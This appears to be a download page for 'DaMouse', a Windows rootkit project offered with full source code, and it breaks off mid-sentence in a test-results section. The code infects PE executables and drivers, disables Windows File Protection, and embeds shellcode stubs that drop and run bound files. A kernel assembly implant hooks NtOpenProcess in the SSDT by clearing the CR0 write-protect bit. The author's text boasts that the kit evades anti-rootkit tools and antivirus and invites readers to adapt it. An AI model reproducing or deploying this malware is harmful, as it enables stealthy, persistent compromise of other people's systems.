240.46KB

3627 downloads

#include "filemanagement.h" DWORD g_dwEIP; DWORD g_dwStubSize; bool PEFile::OpenPEFile(char* szFileName, bool isWFPDisableViaInject, char* szAPIname, char* szLIBname) { WFPManager WFPMan; m_szEPOAPIname = szAPIname; m_szEPOLIBname = szLIBname; m_szOriginalFile = szFileName; bool isProtected = false; if(WFPMan.SFCCheck(m_szOriginalFile)) { isProtected = true; if(isWFPDisableViaInject) { if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName)) m_isImageOpen = true; //image is running or locked so make a copy and infect that } else m_isImageOpen = true; //quiet method must always work with a copy first } else { if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, szFileName)) m_isImageOpen = true; } if(m_isImageOpen) { char szTempFileName [] = "fReplace.exe"; GetTempPath(MAX_PATH, m_szTempFile); CopyFile(szFileName, strcat(m_szTempFile, szTempFileName),false); if(!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, 0, m_szTempFile)) return false; szFileName = m_szTempFile; } if(CheckFileAndGetHeaders()) { if(isProtected) { if(isWFPDisableViaInject) { if(!WFPMan.SFCDisableWatcherThreadTemp()) {//enable to use immediate WFP disabling for all files ClosePEFile(); return false; } } else { if(!WFPMan.SFCDisableForFilePermanent(m_szOriginalFile)) {//quiet WFP disabling ClosePEFile(); return false; } } return true; } return true; } return false; //was not a PE file. } bool PEFile::OpenFileAndMapIt(HANDLE &hFile, HANDLE &hMapping, LPVOID &lpBaseAddress, DWORD dwMapSize, char* szFileName) { if(szFileName != NULL) { hFile = CreateFile(szFileName, GENERIC_READ | GENERIC_WRITE, FILE_SHARE_READ | FILE_SHARE_WRITE, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0); if(hFile == INVALID_HANDLE_VALUE) return false; } hMapping = CreateFileMapping(hFile, NULL, PAGE_READWRITE, 0, dwMapSize, NULL); if(!hMapping) { CloseHandle(hFile); return false; } lpBaseAddress = MapViewOfFile(hMapping, FILE_MAP_ALL_ACCESS, 0, 0, dwMapSize); if(!lpBaseAddress) { CloseHandle(hMapping); CloseHandle(hFile); return false; } return true; } bool PEFile::CheckFileAndGetHeaders() { try { m_pDOSheader = (IMAGE_DOS_HEADER*)m_lpBaseAddress; if(m_pDOSheader->e_magic != IMAGE_DOS_SIGNATURE) { ClosePEFile(); return false; } m_pNTheaders = (IMAGE_NT_HEADERS*)(m_pDOSheader->e_lfanew + (DWORD)m_lpBaseAddress); if(m_pNTheaders->Signature != IMAGE_NT_SIGNATURE) { ClosePEFile(); return false; } m_pSectionheader = (IMAGE_SECTION_HEADER*)(m_pDOSheader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (DWORD)m_lpBaseAddress); return true; } catch(...) { return false; } } bool PEFile::ImplantToLastSection(DWORD dwSize, char* szCodeToImplant, char* szExeStub) { try { RemapFile(dwSize); //remap the file to implant to include either file or implant code size m_pSectionheader += (m_pNTheaders->FileHeader.NumberOfSections - 1); //start of last section m_pSectionheader->Characteristics |= 0xA0000020; //change section characteristics DWORD dwWriteAddr = (m_pSectionheader->PointerToRawData + m_pSectionheader->SizeOfRawData); //offset to write code in host DWORD dwAlignSize = ((dwSize - m_nFilePadding) + m_pSectionheader->SizeOfRawData); dwAlignSize += (m_pNTheaders->OptionalHeader.FileAlignment - (dwAlignSize % m_pNTheaders->OptionalHeader.FileAlignment)); //work out file alignment m_pSectionheader->SizeOfRawData = dwAlignSize; m_pSectionheader->Misc.VirtualSize = dwAlignSize; m_pNTheaders->OptionalHeader.SizeOfImage = m_pSectionheader->VirtualAddress + dwAlignSize; char* szWriteMap = (char*)(dwWriteAddr + (DWORD)m_lpBaseAddress); //make a ptr to write point in host file DWORD i; if(NULL != szExeStub) { for (i = 0; i < m_nStubLen; i++) szWriteMap[i] = szExeStub[i]; for (DWORD j = m_nStubLen; j < (dwSize - m_nFilePadding) + m_nStubLen; j++) szWriteMap[j] = szCodeToImplant[j - m_nStubLen]; }else { for (i = 0; i < dwSize; i++) szWriteMap[i] = szCodeToImplant[i]; } CalculateNewChecksum(); return true; } catch(...) { return false; } } bool PEFile::ImplantFile(char* szBindFileNameAndPath, char* szDroppedFileNameAndPath, bool isHardcodedDropStub, bool isRelocatable) { HANDLE hFileImplant; HANDLE hMappingImplant; LPVOID lpBaseAddressImplant; m_isRelocatable = isRelocatable; if(!OpenFileAndMapIt(hFileImplant, hMappingImplant, lpBaseAddressImplant, 0, szBindFileNameAndPath)) { m_isImageOpen = false; return false; } SaveEntryPoints(); //select executing stub type for file implant m_szExeStub = (isHardcodedDropStub) ? (ExecuteImplantFileHardcoded(GetFileSize(hFileImplant, NULL), szDroppedFileNameAndPath)) : (ExecuteImplantFileDynamic(GetFileSize(hFileImplant, NULL), szDroppedFileNameAndPath)); ImplantToLastSection(GetFileSize(hFileImplant, NULL) + (m_nFilePadding = PADDING_SIZE), (char*) lpBaseAddressImplant, m_szExeStub); UnmapViewOfFile(lpBaseAddressImplant); CloseHandle(hMappingImplant); CloseHandle(hFileImplant); return true; } void PEFile::CalculateNewChecksum() { DWORD dwHeaderSum; DWORD dwCheckSum; m_pNTheaders = CheckSumMappedFile(m_lpBaseAddress, GetFileSize(m_hFile, NULL), &dwHeaderSum, &dwCheckSum); if(dwHeaderSum) //save chksum only for files with existing chksum m_pNTheaders->OptionalHeader.CheckSum = dwCheckSum; } void PEFile::ClosePEFile() { UnmapViewOfFile(m_lpBaseAddress); CloseHandle(m_hMapping); CloseHandle(m_hFile); if(m_isImageOpen) //if it was a copy that we infected overwrite the original at reboot now MoveFileEx(m_szTempFile, m_szOriginalFile, MOVEFILE_DELAY_UNTIL_REBOOT | MOVEFILE_REPLACE_EXISTING); } char* PEFile::ExecuteImplantFileDynamic(DWORD dwSize,char* szDroppedFileNameAndPath) //use when function addresses are not known for target at the time of execution { //this code can be found in the file dynastub.asm char szRawDynStub[] = "\x60\x9c\xe8\x00\x00\x00\x00\x5d\x81\xed\x0b\x10\x40\x00\x89\xa5\x76\x11\x40\x00" "\x83\xec\x60\x83\xbd\xd4\x11\x40\x00\x00\x74\x0a\x8b\x85\xd4\x11\x40\x00\xff\x30" "\xeb\x06\xff\xb5\xd8\x11\x40\x00\x64\xa1\x30\x00\x00\x00\x8b\x40\x0c\x8b\x70\x1c" "\xad\x8b\x40\x08\x89\x85\x90\x11\x40\x00\xb9\x04\x00\x00\x00\x8d\xb5\xac\x11\x40" "\x00\x8d\xbd\xc0\x11\x40\x00\xe8\x95\x00\x00\x00\x8d\x85\x94\x11\x40\x00\x50\xff" "\x95\xcc\x11\x40\x00\xb9\x01\x00\x00\x00\x8d\xb5\xa4\x11\x40\x00\x8d\xbd\xa8\x11" "\x40\x00\xe8\x72\x00\x00\x00\x33\xc0\x50\x50\x40\x40\x50\x48\x48\x50\x40\x50\x68" "\x00\x00\x00\xc0\x8d\xb5\xe4\x11\x40\x00\x56\xff\x95\xc4\x11\x40\x00\x89\x85\xa0" "\x11\x40\x00\x6a\x00\x8d\xb5\xd0\x11\x40\x00\x56\x8b\xb5\xe0\x11\x40\x00\x56\x8b" "\xb5\xdc\x11\x40\x00\x56\x50\xff\x95\xc8\x11\x40\x00\xff\xb5\xa0\x11\x40\x00\xff" "\x95\xc0\x11\x40\x00\x6a\x0a\x33\xc0\x50\x50\x8d\x9d\xe4\x11\x40\x00\x53\x50\x50" "\xff\x95\xa8\x11\x40\x00\x8b\xa5\x76\x11\x40\x00\x9d\x61\xff\xa4\x24\x78\xff\xff" "\xff\x51\x56\x57\x51\x50\x03\x40\x3c\x50\x8b\x50\x78\x03\x54\x24\x04\x8b\x72\x20" "\x03\x74\x24\x04\x33\xc0\x8b\xc8\x8b\xf8\x56\x33\xc0\x8b\xf8\x41\x8b\x5c\x24\x08" "\x03\x1e\x8b\xf3\xe8\x55\x00\x00\x00\x83\x04\x24\x04\x8b\x34\x24\x8b\x5c\x24\x14" "\x8b\x44\x24\x0c\x3b\x3c\x83\x74\x07\x85\xc0\x74\x2e\x48\xeb\xf4\x8b\xd8\x8b\x42" "\x24\x03\x44\x24\x08\x51\x0f\xb7\x0c\x48\x2b\x4a\x10\x8b\x42\x1c\x03\x44\x24\x0c" "\x8b\x04\x88\x59\x03\x44\x24\x08\x8b\x7c\x24\x10\x89\x04\x9f\xff\x4c\x24\x18\x83" "\x7c\x24\x18\x00\x75\xa1\x83\xc4\x1c\xc3\x00\x00\x00\x00\xac\x84\xc0\x74\x07\xc1" "\xcf\x0d\x03\xf8\xeb\xf4\x3b\xbd\xa4\x11\x40\x00\x75\x01\x41\xc3\x00\x00\x00\x00" "\x73\x68\x65\x6c\x6c\x33\x32\x2e\x64\x6c\x6c\x00\x00\x00\x00\x00\x5e\xbb\xe1\x1b" "\x00\x00\x00\x00\xfb\x97\xfd\x0f\xa5\x17\x00\x7c\x1f\x79\x0a\xe8\x8e\x4e\x0e\xec"; int nStublen = sizeof(szRawDynStub) + strlen(szDroppedFileNameAndPath) + VAR_BUFFSIZE + PTR_OFFSET; // add dword ptr to front of code and size of total variables DWORD dwFileAddr = m_dwImplantEntryPoint + nStublen; char* szDynStub = new char[nStublen]; //add size of filename and path m_nStubLen = nStublen; int nFileNamePos = nStublen - strlen(szDroppedFileNameAndPath); szDynStub[nStublen - 1] = ''; while (nStublen-- > nFileNamePos) //write in the filename szDynStub[nStublen - 1] = szDroppedFileNameAndPath[nStublen - nFileNamePos]; DWORD dwExecInfo[4] = { {dwSize}, {dwFileAddr}, {m_dwOldEntryPoint}, {m_dwIATaddress} }, *dwExec = dwExecInfo; for(int i = 4; i >= 0; i--, dwExec++) { *(PDWORD)&szDynStub[nStublen - DW_SIZE] = *dwExec; //write in initialized array nStublen -= DW_SIZE; } while(nStublen-- > PTR_OFFSET) szDynStub[nStublen] = szRawDynStub[nStublen - DW_SIZE]; //write in the code *(PDWORD)&szDynStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub return szDynStub; } char* PEFile::ExecuteImplantFileHardcoded(DWORD dwSize,char* szDroppedFileNameAndPath) //smaller, faster but OS dependant code { //could be done with the INJDATA technique but I used some inline asm //In the end I decided to use masm as it was more flexible than the inline assembler //so with the dynamic code I just made it into shellcode instead and tacked on anything needing //to be initialized at run time at the end and front of the shellcode. HMODULE hShellLib; HMODULE hLib = LoadLibrary("kernel32"); DWORD dwExecInfo[8] = //initialize an array of function addresses and other data needed by the stub { {dwSize}, {(DWORD)GetProcAddress(hLib, "WriteFile")}, {(DWORD)GetProcAddress(hLib, "CreateFileA")}, {(DWORD)GetProcAddress(hLib, "CloseHandle")}, {(DWORD)GetProcAddress((hShellLib = LoadLibrary("shell32.dll")), "ShellExecuteA")}, {0}, //dwFileAddress here {m_dwOldEntryPoint}, //continue adddress for normal entry point {m_dwIATaddress} //epo address here }, *dwExec = dwExecInfo; FreeLibrary(hLib); FreeLibrary(hShellLib); __asm/// { call GetBP //dword ptr to the asm code will be here start: pushad pushfd call getbp2 getbp2: pop ebp sub ebp, offset getbp2 mov [ebp + SaveESP], esp sub esp, 0x60 cmp [ebp + IATcontinueaddr], 0 je NormalExit mov eax, [ebp + IATcontinueaddr] push dword ptr[eax] jmp ShellExe NormalExit: push [ebp+jmpcontinueaddr] ShellExe: xor eax, eax push eax push eax inc eax inc eax push eax dec eax dec eax push eax inc eax push eax push 0xC0000000 lea esi, [ebp + filename] push esi call dword ptr[ebp + aCreateFileA] push 0x0 lea esi, [ebp + bytewbuf] push esi mov esi, [ebp + filesize] push esi mov esi, [ebp + filestartaddress] push esi push eax call dword ptr[ebp + aWriteFile] mov ebx, [esp - 0x14] push ebx call dword ptr[ebp + aCloseHandle] push SW_SHOWDEFAULT xor eax, eax push eax push eax lea ebx, [ebp + filename] push ebx push eax push eax call dword ptr[ebp + aShellExecuteA] // RestoreAndExit mov esp, [ebp + SaveESP] popfd popad jmp dword ptr[esp - 0x88] SaveESP: dd bytewbuf: //these labels are referenced in the code by the compiler dd //_emit 0x0...etc = DWORD filesize: dd aWriteFile: dd aCreateFileA: dd aCloseHandle: dd aShellExecuteA: dd filestartaddress: dd jmpcontinueaddr: dd IATcontinueaddr: dd filename: GetBP: pop eax mov g_dwEIP, eax mov eax, offset filename mov ecx, offset start sub eax, ecx mov g_dwStubSize, eax }; g_dwStubSize += PTR_OFFSET; //add dword ptr address to front off code g_dwEIP -= PTR_OFFSET; //move eip to account for dword ptr int nStrl = g_dwStubSize + strlen(szDroppedFileNameAndPath) + 1; dwExec[5] = m_dwImplantEntryPoint + (DWORD)nStrl; char* pszStub = new char[nStrl]; m_nStubLen = nStrl; while ((DWORD) nStrl-- > g_dwStubSize) pszStub[nStrl] = szDroppedFileNameAndPath[nStrl - g_dwStubSize]; dwExec += EXINFO_SIZE; for(int i = EXINFO_SIZE; i >= 0; i--, dwExec--) { *(PDWORD)&pszStub[g_dwStubSize - DW_SIZE] = *dwExec; g_dwStubSize -= DW_SIZE; } while(g_dwStubSize-- > PTR_OFFSET) pszStub[g_dwStubSize] = ((char*)g_dwEIP)[g_dwStubSize]; *(PDWORD)&pszStub[0] = (m_dwImplantEntryPoint + PTR_OFFSET); //write the dword ptr address to our stub return pszStub; } void PEFile::SaveEntryPoints() //for implant to last section only { try { m_dwImplantEntryPoint = (m_pSectionheader + (m_pNTheaders->FileHeader.NumberOfSections - 1))->VirtualAddress + (m_pSectionheader + m_pNTheaders->FileHeader.NumberOfSections - 1)->SizeOfRawData + m_pNTheaders->OptionalHeader.ImageBase; DWORD dwNewEntryPoint = m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase; m_dwOldEntryPoint = m_pNTheaders->OptionalHeader.AddressOfEntryPoint + m_pNTheaders->OptionalHeader.ImageBase; if(m_szEPOAPIname && m_szEPOLIBname != NULL) { EPOstart EPO; m_dwIATaddress = EPO.PatchDwordPtr(m_szEPOAPIname, m_szEPOLIBname, m_dwImplantEntryPoint, m_pDOSheader, m_pNTheaders, m_pSectionheader, m_isRelocatable); } else { m_pNTheaders->OptionalHeader.AddressOfEntryPoint = dwNewEntryPoint + PTR_OFFSET; } } catch(...) { return; } } bool PEFile::ImplantCode(char* szCodeToImplant, DWORD dwCodeSize, bool isRelocatable) { m_nFilePadding = PADDING_SIZE; m_isRelocatable = isRelocatable; SaveEntryPoints(); //if implant is Ring0 EPO object returns a function hash not iataddress DWORD dwSelectedEP = (m_dwIATaddress) ? m_dwIATaddress : m_dwOldEntryPoint; *(PDWORD)&szCodeToImplant[0] = (m_dwImplantEntryPoint + PTR_OFFSET); for(int i = 4; i >= 0; --i, --dwCodeSize) szCodeToImplant[dwCodeSize - 1] = ((char*)&dwSelectedEP)[i]; ImplantToLastSection(dwCodeSize + PADDING_SIZE, szCodeToImplant); if(m_isRelocatable) { m_pSectionheader->Characteristics |= IMAGE_SCN_MEM_NOT_PAGED; //don't let implant code get paged out leading to BSOD m_pSectionheader->Characteristics ^= IMAGE_SCN_MEM_DISCARDABLE; //don't discard our code either PIMAGE_BASE_RELOCATION pImageReloc = (PIMAGE_BASE_RELOCATION)(m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + (DWORD) m_lpBaseAddress); PDWORD dwRelocEntryAddr = (PDWORD)((DWORD)pImageReloc + (DWORD)m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size); DWORD dwBaseRelIndex = (m_dwImplantEntryPoint - m_pNTheaders->OptionalHeader.ImageBase) & 0xFFFFF000; *dwRelocEntryAddr++ = dwBaseRelIndex; WORD wReloc = (WORD)((m_dwImplantEntryPoint &= 0x0FFF) |= (IMAGE_REL_BASED_HIGHLOW << 0xC)); //make value for base reloc entry *dwRelocEntryAddr++ = 0xA; *(WORD*)&dwRelocEntryAddr[0] = wReloc; m_pNTheaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size += 0xA; //add base reloc fixup for our ptr to implant CalculateNewChecksum(); } return true; } bool PEFile::RemapFile(DWORD dwNewMapSize) { UnmapViewOfFile(m_lpBaseAddress); CloseHandle(m_hMapping); if (!OpenFileAndMapIt(m_hFile, m_hMapping, m_lpBaseAddress, (GetFileSize(m_hFile, NULL) + dwNewMapSize))) //map file plus code need to make generic code return false; if (!CheckFileAndGetHeaders()) //sanity check-make sure everything is correct after remapping return false; return true; }

#include "filemanagement.h" DWORD g_dwHash; DWORD EPOstart::PatchDwordPtr(char* szApiName, char* szLibName, DWORD dwImplantAddress, PIMAGE_DOS_HEADER pDOSheader, PIMAGE_NT_HEADERS pNtHeaders, PIMAGE_SECTION_HEADER pSectionheader, bool isRelocatable) { DWORD dwIATaddress; PIMAGE_IMPORT_DESCRIPTOR pImportDescriptor = (PIMAGE_IMPORT_DESCRIPTOR) (GetRawOffset((DWORD)(pNtHeaders->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress), pSectionheader, pNtHeaders) + (DWORD)pDOSheader); while (pImportDescriptor->Name) { if (!stricmp (szLibName, (char*)(GetRawOffset((DWORD)pImportDescriptor->Name, pSectionheader, pNtHeaders) + (DWORD)pDOSheader))) //import lib name break; pImportDescriptor++; } if (!pImportDescriptor->Name) return 0; PIMAGE_THUNK_DATA pThunkData = (PIMAGE_THUNK_DATA) (GetRawOffset((DWORD)pImportDescriptor->OriginalFirstThunk, pSectionheader, pNtHeaders) + (DWORD)pDOSheader); DWORD dwFuncAdd = (DWORD)pImportDescriptor->FirstThunk; while (pThunkData->u1.Function) { char* szName = (char*)(GetRawOffset((DWORD)((PBYTE)pThunkData->u1.AddressOfData->Name), pSectionheader, pNtHeaders) + (DWORD)pDOSheader); if (!strcmp (szApiName, szName)) {//function name if(PDWORD dwPtrAddr = FindDwordPtr(dwIATaddress = (DWORD)pNtHeaders->OptionalHeader.ImageBase + dwFuncAdd, (PDWORD)((DWORD)pSectionheader->PointerToRawData + (DWORD)pDOSheader), (DWORD)pNtHeaders->OptionalHeader.SizeOfImage - pSectionheader->PointerToRawData)) { DWORD dwJmpVA = m_dwPtrOffset + (DWORD)pSectionheader->VirtualAddress + (DWORD)pNtHeaders->OptionalHeader.ImageBase; if (isRelocatable) {//ring0 will return hash of function name for implant to resolve //ring3 will return IATaddress DWORD dwHash = MakeApiNameHash(szApiName); *(PDWORD)&((char*)dwPtrAddr)[2] = dwImplantAddress; //patch the ptr address to our code return dwHash; } *(PDWORD)&((char*)dwPtrAddr)[2] = dwImplantAddress; return dwIATaddress; } return 0; } pThunkData++; dwFuncAdd += 4; } return 0; } DWORD EPOstart::GetRawOffset(DWORD dwImpDescRVA, PIMAGE_SECTION_HEADER pSectionheader, PIMAGE_NT_HEADERS pNtHeaders) { for(int i = 0; i < pNtHeaders->FileHeader.NumberOfSections; i++) { if((pSectionheader->VirtualAddress) && (dwImpDescRVA <= pSectionheader->VirtualAddress + pSectionheader->SizeOfRawData)) return(dwImpDescRVA + pSectionheader->PointerToRawData - pSectionheader->VirtualAddress); pSectionheader++; } return 0; } DWORD EPOstart::MakeApiNameHash(char* szApiName) { __asm{/// mov esi, szApiName xor eax, eax mov edi, eax GenerateHash: lodsb test al, al jz Hashed ror edi, 0xd add edi, eax jmp GenerateHash Hashed: mov g_dwHash, edi }; return g_dwHash; } //look for FF25 or FF15 byte sequences and if found check if an address //that may follow points to the IAT entry of our API PDWORD EPOstart::FindDwordPtr(DWORD dwIATentry, PDWORD dwStart, DWORD dwSize) { for(DWORD i = 0; i < dwSize; i++) { if(0x25FF == *(PWORD)&((char*)dwStart)[i]) { if(dwIATentry == *(PDWORD)&((char*)dwStart)[i + 2]) { m_dwPtrOffset = i; return (PDWORD)(i + (DWORD)dwStart); //return mapped address of dword ptr jmp } }else if(0x15FF == *(PWORD)&((char*)dwStart)[i]) { if(dwIATentry == *(PDWORD)&((char*)dwStart)[i + 2]) { m_dwPtrOffset = i; return (PDWORD)(i + (DWORD)dwStart); //return mapped address of dword ptr call } } } return 0; //no jmp/call dword ptr address matched }

.486 .model flat, stdcall option casemap :none include \masm32\include\windows.inc include resolver.inc ;RootKit Detector Evasion Method 2. ::Blame it on the security application:: ;Installs a SSDT hook from an infected security application driver like an antivirus, firewall or ;HIPs. What this does is it obscures our tap into the kernel by making people think that it ;belongs to their security program. This illustrates one major flaw in rootkit detectors:: Which ;is it is relatively easy to find hooks and patches, but to identify what they do and if they are ;legit or bad is beyond most people to tell. Even a pro will have to examine the code if they ;even suspect anything. I mean no one is going to bat an eyelid if they find an SSDT hook that ;belongs to there firewall or something. So this could be hidden for a long time. ;The responsibilty for determining what driver to infect will be with the loader code ;as this is just a concept code I will only be hardcoding in the driver name I want to infect ;***This code should be Service Pack Independant ;With a SSDT hook we can filter before the call is made to the kernel function or we can call ;the kernel function from our hook and when it returns we can filter what it returns, then ;return to the original caller the filtered return data ;NOTES::>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>> ;1.The first empty DWORD after Start: will be filled with the hash of the API name to eventually ; called Our implant will then resolve the API address from the hash and call it when it exits. ; It is the job of the installer (DaMouse) to generate the hash and a.) Place the function hash ; at the front of this code (after it has been converted to shellcode). b.) Implant this code in ; shellcode format into the driver at the point where the hashed function would have been called ;2.There is a public member of the EPOstart class that allows you to get API function name hashes. ; These hashes can be placed where shown near the end of the file and increment the function ; resolution counter by the number of hashes to be resolved ;3.Can be assembled with just Masm no need for the kmdkit ;4.You will need to experiment with which APIs to use for the implant call dword ptr patch ; some APIs will be called many times, others not at all. Usually pick one that is called once. ; Unless you wish to use the implant to analyze a particular API call within the driver ;5.It is very experimental and just a prototype really so expect lots of crashes etc ; and strange behaviour, please test in VMs. ;6.***Do not Implant in functions that run at higher IRQL than PASSIVE_LEVEL*** ;>>>>>>>>>>>>>>>>>>>>>>>>>>>> USE ONLY APIs exported by ntoskrnl<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<< .code Start: dd 0cccccccch;<--------------------------Start marker DO NOT INCLUDE THIS DWORD IN SHELLCODE!! dd 0h;<----------------------------------------ptr to this implanted code will be patched here nop SaveContextAndGetBP GetNTOSKRNLImageBase: GetNtoskrnlBase cmp [ebp+ResolutionNeeded], 0 jne ResolvingDone ResolveFunction: mov ecx, 1h;<------------------resolve function address from API name hash of patched API call lea esi, [ebp+PatchedFunctionHash] lea edi, [ebp+PatchedFunctionAddr] call StartAPIResolution mov ecx, FunctionResolutionCounter;<---------resolve addrs of APIs we are using in our implant lea esi, [ebp+NTOSKRNLHashes] lea edi, [ebp+NTOSKRNLFunctionAddresses] call StartAPIResolution ResolvingDone: mov [ebp+ResolutionNeeded], 1 DaCode:;<------------------------everything is setup now we can run our rootkit functionality code mov ecx, [ebp+aZwOpenProcess];<------------------Get the SystemServiceNumber from the function mov ecx, [ecx+1];<--so would be mov eax, 7ah or B87A000000h so we need function offset +1 byte mov eax, [ebp+aKeServiceDescriptorTable];<--------------------------get the SSDT entry we want mov ebx, [eax] lea eax, dword ptr [ebx+ecx*4] mov ebx, [eax] mov [ebp+OldNtOpenProcess], ebx lea ebx, [ebp+NewNtOpenProcess];<-----------prepare the address of the hook within our implant push eax;<-----------------------------------------------------------------Temp disable WP bit mov eax,cr0 and eax,not 000010000h mov cr0,eax pop eax mov [eax], ebx;<-----------------------------------------------------Ok now write it into SSDT push eax;<------------------------------------------------------------------Temp enable WP bit mov eax,cr0 or eax,000010000h mov cr0,eax pop eax jmp EndHook ;This is the code that the SSDT entry now points to. ;this filter checks the name of the process to be opened ;if it is our chosen process access is denied ;this results in our process being unable to be terminated by normal means, no attaching debuggers, ;dll/code injection from user mode will not work on our protected process etc ;NTSYSAPI ;NTSTATUS ;NTAPI ;NtOpenProcess( ;OUT PHANDLE ProcessHandle, ;IN ACCESS_MASK DesiredAccess, ;IN POBJECT_ATTRIBUTES ObjectAttributes, ;IN PCLIENT_ID ClientId <img src='http://www.rohitab.com/discuss/public/style_emoticons/default/wink.gif' class='bbc_emoticon' alt=';)' />; NewNtOpenProcess proc ProcessHandle:DWORD, DesiredAccess:DWORD, ObjectAttributes:DWORD, ClientId:DWORD pushad;<--------------------------------------------------------------------------save context pushfd call gECX gECX: pop ecx sub ecx, offset gECX FilterFunction: mov ebx, ClientId mov ebx, [ebx].CLIENT_ID.UniqueProcessId or ebx, ebx jz ExitHook;<-------------------------------------------------------------PID to Open was Zero pushad push ecx lea eax, [ecx+EPROCESS] push eax push ebx call [ecx+aPsLookupProcessByProcessId] pop ecx or eax, eax jnz ExitHook2;<-------------------------------------------------------------PID LookUp failed mov eax, [ecx+EPROCESS] push eax call [ecx+aPsGetProcessImageFileName];<-this API will give us the offset in ;_EPROCESS block of the filename mov esi, eax pushad mov eax, [ecx+EPROCESS] push eax call [ecx+aObDereferenceObject] popad mov dword ptr[esp+4], esi lea ebx, [ecx+ProcessFilter] push ebx push esi call [ecx+astricmp] jz Block add esp, 8h popad push ecx push esi push ebx push esp call [ecx+aPsGetCurrentProcessId] push eax lea eax, [ecx+DbgPrintFormat] push eax call [ecx+aDbgPrint] add esp, 14h pop ecx jmp ExitHook ExitHook2: popad ExitHook: mov ebx, dword ptr[ecx+OldNtOpenProcess] popfd mov dword ptr[esp-60h], ebx popad pop ebp jmp dword ptr[esp-84h] Block: add esp, 28h popfd popad mov eax, STATUS_ACCESS_DENIED ret 10h DbgPrintFormat db " Caller PID: %u Stack Ptr: 0x%x PID To Open: %u Process Name To Open: %s ",0 ProcessFilter db "iexplore.exe",0 EPROCESS dd 0 NewNtOpenProcess endp EndHook: lea esi, [ebp+Ring0Infection] push esi call [ebp+aDbgPrint] RestoreContextAndExit: RestoreContextExit StartAPIResolution: ResolveFuncs CodeEnd: CLIENT_ID STRUCT UniqueProcessId DWORD ? UniqueThreadId DWORD ? CLIENT_ID ENDS OldNtOpenProcess dd 0 STATUS_ACCESS_DENIED equ 0c0000022h FunctionResolutionCounter equ 9h;<---Increment by number of extra function hashes added aNTOSKRNL dd 0 NTOSKRNLHashes:;<---------------------------------------------------------Add your own hashes here dd 68FD2368h;<----------------------------------------------------------------------DbgPrint dd 0e60ee007h;<--------------------------------------------------------PsGetCurrentProcessId dd 001d92fdbh;<-----------------------------------------------------KeServiceDescriptorTable dd 0f0d09d60h;<----------------------------------------------------------------ZwOpenProcess dd 8f8f1b7eh;<-----------------------------------------------------------PsGetCurrentProcess dd 8be7eeech;<-----------------------------------------------------PsGetProcessImageFileName dd 0a3a0b82ah;<---------------------------------------------------PsLookupProcessByProcessId dd 2e053fd6h;<-----------------------------------------------------------ObDereferenceObject dd 0d73b454ah;<---------------------------------------------------------------------_stricmp ;so here NTOSKRNLFunctionAddresses:;<------------------------Then add a DWORD here for the resolved address aDbgPrint dd 0 aPsGetCurrentProcessId dd 0 aKeServiceDescriptorTable dd 0 aZwOpenProcess dd 0 aPsGetCurrentProcess dd 0 aPsGetProcessImageFileName dd 0 aPsLookupProcessByProcessId dd 0 aObDereferenceObject dd 0 astricmp dd 0 ;and here--- keep in order in other words ;<------------------------then they can be referenced in the code like call [ebp+aDbgPrint] etc... ImplantData: Ring0Infection db "RootKit Installed ",0 ResolutionNeeded dd 0 ;******************************************************************************* ***************** ;DO NOT place anything after this line as these DWORDS are expected to be present by the installer ;******************************************************************************* ***************** StackSaveAddress dd 0 PatchedFunctionAddr dd 0 PatchedFunctionHash dd 0;<----Must be patched with the hash of API b4 implanting ; so our code implanter must do this dd 0cccccccch;<--------------------------end marker DO NOT INCLUDE THIS DWORD IN SHELLCODE!! end Start

DaMouse is a driverless Ring0 rootkit concept project illustrating rootkit technology that once installed is very hard to find.Uses No ProcessesCreates No FilesCreates No ThreadsUses No Registry KeysThere are no Drivers to hideCan be made to run even in safemodeInstallation method bypasses many protective toolsIt works by combining PE infection techniques with traditional rootit methods. This allows the code to become part of the operating system rather than just an addition of drivers to control operating system behaviour. The design of the kit allows the flexibility to choose how the code is integrated into existing drivers. It is your choice and requires your experimentation to see what will work. Get it right and it can be quite a stable method.With some work any existing rootkit method can be adopted to work with DaMouse. All that is required is an understanding assembler to port the existing rootkit code into a piece of kernel mode portable code or what I term in this project as an Implant. The Implants can be complex as you like it is entirely up to you. The Implants provided show the structure required to operate in kernel mode with good system stability given that certain requirements are met by you.There are many problems that could occur because it is very generic and also quite experimental, but experimentation should reveal these in short order. I have not done too much my self yet.It has excellent stealth characteristics and can defeat pretty much all AntiRootkit detection software available today and Implants are provided to demonstate this. It has also bypassed some Internet Security Suites and HIPS quite easily. The installer itself was not detected by any antivirus tools (VirusTotal), excepting some which required the noisy WFP method and Ring3 downloader shellcode removed first before compiling (AntiVir).With targeted rootkits now becoming more common methods of assaulting the victim in conjunction with pre-day exploits, it shows that a good HIPS system is needed for protection.Other FeaturesThis code can bind files to DLLs, the binded file will be dropped and run when the API selected during binding is called. A nice toy.This code will also peform regular file binding, using PE infection methods.You can bind as many files you like with the regular entry point method, on execuion they will all be dropped and executed one after the other. It also has the option of binding with EPO techniqueNaturally shellcode implants can be placed into DLLs or exe's to permanently alter their logic. eg an implant in kernel32.dll automatically means your code by default is loaded by just about every processThe class is very easy to use an there are plenty of examples to show you how its implemented and usedI was working on a Kernel mode packet sniffer but I don't think I'll finish that one nowThe code that does most of the workEPO implementationExample of Ring0 code implantTests: DaMouse Vs Security ApplicationsVs AntiRootkit software1.Ring0RetroPatcher implant was selected to be installed2.AntiRootkit applications were run after rootkit became activeThe Following Rootkit Detectors were used:DarkSpy105.exeRkUnhooker - RkU3.7.300.501IceSword122enGmer 1.0.13.12551Result: With the rootkit running none of the 